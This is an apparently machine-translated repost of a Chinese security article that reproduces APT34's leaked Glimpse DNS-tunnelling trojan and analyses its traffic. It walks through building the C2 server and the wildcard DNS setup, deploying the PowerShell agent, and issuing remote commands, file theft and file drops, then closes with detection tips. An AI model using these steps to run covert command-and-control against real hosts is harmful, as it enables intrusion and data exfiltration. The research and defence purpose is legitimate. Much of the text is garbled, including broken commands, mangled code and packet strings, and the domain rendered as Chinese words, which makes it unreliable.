本文论述了APT34遥控器的具体再现步骤和操作,具有一定的攻击性。未经双方事先同意,使用APT34攻击目标是违法的。本研究仅用于安全性研究和测试。严禁用于非法目的,其带来的法律风险与本文无关。
一、前言
2019年4月18日,一位名叫Lab Dookhtegan的用户在国外聊天频道Telegram上发布了APT34相关基础设施、黑客工具、会员信息和受害者信息。APT34,也叫OilRig(克拉布斯,钴吉普赛),是一个来自伊朗的APT组织。该组织于2014年开始活动,主要针对中东,主要针对政府、金融、能源、电信等行业。受害实体主要包括迪拜媒体公司、Etihad航空公司/[/k0/。阿联酋国家石油公司、兰普雷能源公司、科威特埃米尔湾、阿曼行政法院、阿联酋总理办公室、巴林国家安全局等。
这次泄露的黑客工具列表如下:
工具名称描述PoisonFrog老木马一瞥新木马基于powershell,DNS远程控制工具。hypershall web shell highwell web shell minion项目钓鱼工具包,fox管理界面,加载了HighShell模块的Webmask DNS隧道,DNSpionage的主要工具,用于DNS修改
本文将对APT34的一个远程控制组件,新版本的窥镜木马进行技术分析。
二,窥见递归2.1文件目录
惊鸿一瞥是一套使用DNS隧道的远程控制工具。下图显示了一个浏览文件列表。
除了Readme.txt项目部署描述文件,文件夹分为三部分:Agent、Panel、Server:Agent部分是客户端程序;服务器部分是服务器端程序;Panel是这个工具的图形面板,用来管理Server和Agent之间的通信(Windows系统中使用,这个实验的服务器端环境是Linux,所以不使用panel工具)。
2.2沟通流程
代理是受控主机,也称为客户端,服务器是控制节点,也称为C2服务器。双方的通信是通过DNS隧道A/TXT记录进行命令的分发和执行后命令的返回。在实验设置中,内网的虚拟机作为代理,而服务器使用国外的VPS,绑定到VPS is的域名是丰柔2019.club
2.3阿里巴巴云域名解析配置
为了使域名与自建的C2服务器ip相对应,需要在阿里巴巴云域名服务中创建一条A记录,将丰柔2019.club的域名指向C2服务器vps的IP地址,主机记录为“@”表示直接解析主域名丰柔2019.club,同时创建一条ns记录,将丰柔2019.club的所有子域指向主域名。主机记录为“*”,表示通用解析,匹配所有其他域名。这样做的目的是将所有用户自定义的受控主机的域名指向C2服务器进行解析。C2服务器收到后响应,并实现通信过程。
阿里巴巴云域名服务设置如下:
2.4代理客户端
1.启动脚本是runner_。vbs,用于启动powershell主脚本;
2.主脚本是dns_main.ps1,用来和服务器通信;
dns_main.ps1中通讯的域名应该指定为fong rou 2019 . club
运行dns_main.ps1,程序生成一个特定的目录public libraries 61076 a9f (guid由此脚本生成),并创建子文件夹如receivebox、sendbox、done等。并通过读写这些子目录下的文件来实现与服务器的通信。
2.5服务器服务器
(1)将“APT34”目录复制到指定文件夹
# apt34代码当前位于以下目录中
/home/APT34
(2)输入“Glipse”的服务器端代码块
CD/home/APT34/Speech/服务器
(3)创建一个“主”文件夹,并将“srvr.js”文件复制到“主”文件夹
mkdirhome
cpsrvr.js。/home
(4)安装node.js和npm,完成每个包的安装
apt-get install nodejs npm
#一路输入,在这个文件夹下生成一个package.json文件。
npminit
#安装以下依赖包,node_modules文件夹会自动生成在该文件夹下。
npminstal-save body-parser cookies child _ process dnsd webix express IP fs path SQLite 3 http portscanner child _ process async ejs express-file upload da te format multer file-base64 flat-file-db moment busboy
#永远安装
npminstall - save-gforever
(5)操作前检查端口状态。
netstat-ntulp | grep 3
打开服务前查询端口53的状态,发现没有监控。
(6)修改服务器代码。
将服务器上DNS解析的域名改为C2服务器的域名:丰柔2019.club
(7)打开服务器。
every startsrvr . js
(8)打开服务器后检查端口状态。
查询端口53状态,监听。
至此,服务器构建完毕。
3.一瞥远程控制和流程分析3.1远程控制
服务器的等待文件夹存储主控终端需要代理终端执行的操作。通信完成后,文件存储位置从等待文件夹更改为已发送文件夹,表示已成功发送。
接收文件夹存储接收到的返回信息,文件名与命令文件名相同。
文件夹中命令文件的命名方式遵循代码中服务器端指令与操作的对应关系:文件结尾为0,代理端将执行cmd中的指令并返回结果;如果文件结尾为1,则上传文件;如果结尾是其他,下载文件。
最后一个字符的描述0执行命令读取文件的内容,并将其作为带有“cmd.exe”的命令运行。该命令的输出被保存到一个文件名以“proc”开头的文件中,并存储在“sendbox”文件夹中。客户端将它发送到C2服务器1以上传文件,并读取文件的内容以获得要下载的文件的路径。将指定的文件复制到“发送盒”文件夹中的文件,以将文件发送到C2服务器。其他任意字符下载文件用于在系统上存储文件。文件将被移动到“完成”文件夹,该文件夹存储文件以备将来使用。客户发送“200
3.1.1最后一个字符是0
(1)文件名是10100
当服务器和客户端第一次连接时,会在等待文件夹下创建一个名为10100的文件,执行后将该文件传输到发送文件夹。说明内容为whoami & amp:ipconfig .
接收的内容存储在接收文件夹中,10100文件在接收文件夹下打开
(2)文件名是test0
自己创建的名为test0的文件存在于wait文件夹中,指令内容为netstat。执行后,文件的存储位置变为已发送。
接收到的内容存在于接收文件夹中,test0文件在接收文件夹下打开
3.1.2最后一个字符是1
文件名是test1:
名为test1的文件是在等待文件夹中创建的。因为end是1,所以指令的功能是将指令文件中指定的文件放入代理目录sendbox,并将其发送到服务器。
这是在代理端的指定文件夹下创建的文件
Test1文件内容是指代理客户端指定文件夹中指定文件的内容,执行后从等待文件夹转移到发送文件夹。
执行结果可以在接收文件夹下的test1文件中看到,服务器已经接受了来自代理的文件。
3.1.3结尾的字符是其他
文件名为test:
名为test的文件被创建并存储在等待文件夹中。因为它以t结尾,所以该指令的功能是将服务器端文件发送到代理中的done文件夹进行保存。
执行结果可以在代理的done文件夹下的测试文件中看到,代理已经从服务器接受了该文件。文件名是proctest,内容是在服务器端创建的内容。
3.2流量分析
3.2.1伪DNS构造
C2服务器和受控主机之间的命令分发和命令执行后的信息返回通过DNS隧道协议完成,其中TXT记录主要用于C2服务器的命令分发,A记录主要用于受控主机将命令执行后的结果返回给C2服务器。为了将命令和信息集成到DNS请求中,以便C2服务器和受控主机能够顺利通信,需要仔细构建特殊的域名。此外,为了区分不同的受控主机,每个受控主机将有一个唯一的GUID用于标识,该GUID由代理脚本自动生成。所有DNS请求都通过在GUID中随机添加偏移量来插入数据包标识和操作类型字符。数据包标识为三位字符串,对应受控主机传输的数据片段号;操作类型是单个字符串,用于通知C2服务器执行某个通信类型。每个域名中有两个不可更改的字符“c”和“t”,这两个字符之间有两个数字,分别对应GUID中包标识和操作类型字符的偏移量。
在本例中,C2使用的域名是“丰柔2019.club”,受控主机的GUID是:564b81fdbe。
根据捕获的流量,DNS请求的类型主要分为两类:TXT记录类型和A记录类型。
TXT记录类型的DNS请求格式主要如下:
actiondata.fengrou2019.club
而记录类型a的DNS请求格式主要如下:
action data . data 1 . data 2 . feng rou 2019 . club
actiondata字段是每个通信中必须构建的部分。剩下的data1和data2字段将在信息传输过程中构造,后面是服务器绑定的域名。
(1)actiondata
用于确定数据包碎片的序列号和C2服务器操作类型。
主要由以下几个部分组成:
位数0-13 13-n n+1 n+2 n+3 n+4描述GUID+包ID+操作类型字符随机C包ID偏移量操作类型偏移量T
(2)数据1
主要用于保存被控主机执行命令后返回的信息。
一个记录的例子:
#传输的第一个数据包
564b000812fdbe0000E72C46T。cocta b 333332333222222222222222210100 a 4060 aaaaaaaaaaaaaa . 333332210100 a . fongrou 2019 . club
#传输的第二个数据包
5624b81f001dbe0000A9C82T。ebb 466767667256667725 e 88 e9 a 23 fbfd 932 F3 f 64079 E4 f 730 b 7986 cc 06 . 33333210100 a .丰柔俱乐部2019
#传输的第三个数据包
5264 b 81 f 002 db 0000 BD 8 c 051 c 81t . 232333500 e 88 e 98 e 88 e 982262333 E1 e 7601 DDA 7986d 36906 c 908390200 . 333333210100 a .丰柔俱乐部2019。
#传输倒数第二个数据包
5642 b 81 FD 068 be 0000241 D8 c 93t . 46667765466730033007 c 9d 035 c 175 E4 EDA ceda . 3333210100 a .丰柔俱乐部2019
#传输的最后一个数据包
5264b80691fdbe00001B957C61T。coctabcoct . 33333210100 a . feng rou 2019 . club
你可以观察一下全a记录的流量数据1的规律:第一个数据包的前六个字符是“coctab”;最后一个数据包字符为“COCTABCOCT”,表示所有数据包片段均已传输;除了倒数第二个和最后一个数据包,其余data1字段的字符长度固定为60。通过对Agent代码的分析可知,命令执行返回的内容传输是以分片的方式传输的,data1组成的编码机制包括以下步骤:
1)创建两个空字符串;
2)将命令执行返回的内容数据字节转换为十六进制;
3)将每个十六进制字节分成2个半字节;
4)将第一个半字节附加到第一个字符串;
5)将第二个半字节附加到第二个字符串;
6)将两个字符串合并连接在一起。
data1字段的固定60位字符串通过上述步骤生成(除了最后一个数据包和倒数第二个数据包)。
您可以使用以下Python脚本来恢复文本信息:
#!/usr/bin/env python
importbinascii
defbin_to_asc(s):
结果=列表
mid = len/2
范围(中):
x= s[i]+s[mid+i]
result.append(x)
res= " "。连接(结果)
#打印(分辨率)
print(binascii.a2b_hex(res))
returnbinascii.a2b_hex(res)
if__name__== "__main__ ":
#恢复第一个数据包的data1字段
s = " EBB 466767667256667725 e 88 e9 a 23 fbfd 932 F3 f 64079 E4 f 730 b 7986 cc 06 "
bin _ to _ ASC #运行结果为:微软Windows[版本6
(3)数据2
主要用于保存指令的文件名。
#发送第一个数据包
564b000812fdbe0000E72C46T。cocta b 333332333222222222222222210100 a 4060 aaaaaaaaaaaaaa . 333332210100 a . fongrou 2019 . club
根据上述数据包,可以获得数据2:33333210100 a
data2字段也适用于data1字段的编码方式,运行data1: 10100*可以得到data2字段的明文
3.2.2记录响应A的值
作为一个伪DNS服务器,服务器响应代理的DNS请求,回复指定的ip字符串,不同的ip字符串指的是不同的通信内容。Ip字符串对应于以下内容:
Ip字符串内容表示99.250.250.199服务器响应新代理并创建一个会话199.250.250.99服务器对应的代理ping信息3.2.1.0要发送的服务器文件24.125.a.b要发送的服务器文件和文件名是a+b 11.24.237.110服务器没有要发送的文件。A.b.c.d服务器以DNS的A记录方式分片发送数据,abc为数据内容,D为数据索引1.2.3.0。a.2.3.b服务器正在接收代理发送的碎片数据,A是代理id,B是碎片号253.25.42.87。服务器已收到代理发送的碎片数据。
3.2.3响应TXT记录值
C2服务器作为一个伪DNS服务器,响应代理的TXT记录请求,回复指定的TXT记录值,其中包含指令类型和指令内容。
具体的TXT指令类型如下表所示。根据Agent字符">"将每个TXT记录的指令类型和指令内容分开,">"字符左边的数据作为指令,右边的数据作为指令内容。
TXT记录值含义解释n空闲。将下一个域名系统查询的操作类型设置为“w”s,以接收来自C2的数据。将数据部分解码为base64。将未来查询到C2的操作类型设置为“d”。S000s使用“rcvd”+txt记录值作为文件名,文件将保存在“receivebox”文件夹中。将未来域名系统查询到C2的操作类型设置为“d”。将“s”命令提供的字节写入“S000s”命令生成的文件。通过脚本处理命令打破分发文件的循环。通过退出循环来取消通信。3.3根据捕获的流量分析
3.3.1抓住流程
通过从捕获到的流量中选择DNS流量,可以发现在短时间内,客户端和服务器端通信频繁,以DNS协议的A记录和TXT记录为主要形式。
3.3.2行动M
首先,在双方的通信中出现一个动作字段为“m”的伪DNS请求。可以看作是一个初始化过程。服务器将创建等待、接收、发送、发送和完成等文件夹来存储发送和接收的信息。
Ip字符串==99.250.250.199,表示服务器开始响应新代理并创建会话。
3.3.3行动W
等待TXT请求执行命令,注册阶段后第一个要执行的命令是标记为10100的命令,其内容为“whoami&ipconfig/all”
3.3.4行动D
等待TXT请求执行命令。这是要实际执行的命令。服务器以DNS TXT记录的形式发送服务器等待文件下的内容。其中左边的“>”是指令类型,也就是从C2接收数据的S命令。将数据部分解码为base64,并将未来查询的操作类型设置为C2“d”(客户端将很快执行该命令)。" & gt"右边是指令内容“d2hvYW1pJmlwY29uZmlnIC9hbGw =”,是命令的base64编码格式,解码后的明文为“whoami &: ipconfig /all”。
3.3.5行动2
当action==2时,服务器接收代理以DNS A记录的形式发送的文件。发送完所有数据后,代理会发送一个DNS查询,其数据部分为COCTabCOCT。此查询通知C2服务器特洛伊木马已完成发送文件内容。截获流量的标签数为069。
第一个分析:
最后一个分析:
四.结论与思考4.1如何检测
基于网络级别的检测:
1)通过捕获受控主机的流量,我们知道C2服务器和受控主机之间的通信指令是通过构造子域来执行的。但是DNS请求不正常,由数字和字母随机组成,可疑度高,可以直接追溯到主vps的域名和IP。
2)DNS请求的频率过于规则,每次DNS请求的时间间隔为50ms,容易被检测到。
3)DNS请求响应特征明显。比如A记录响应IP属于硬编码,容易被模式匹配。
基于主机级别的检测:
1)系统中有没有找到对应的隐藏目录结构?尤其是后缀为ps1的文件
2)检查DNS服务器地址是否被篡改?
3)检查Web服务器的Web应用中是否有异常文件?比如后门Webshell
4.2如何防御APT34木马
1)不要点击陌生人发的邮件、他们的附件、链接等。
2)经常修复计算机漏洞,确保系统设备软件的最新版本。
参考数据
*作者:DigApis,本文属于FreeBuf原创获奖方案,未经许可禁止转载。
1.《glimpse APT34核心组件Glimpse:远控复现与流量分析》援引自互联网,旨在传递更多网络信息知识,仅代表作者本人观点,与本网站无关,侵删请联系页脚下方联系方式。
2.《glimpse APT34核心组件Glimpse:远控复现与流量分析》仅供读者参考,本网站未对该内容进行证实,对其原创性、真实性、完整性、及时性不作任何保证。
3.文章转载时请保留本站内容来源地址,https://www.lu-xu.com/fangchan/1070406.html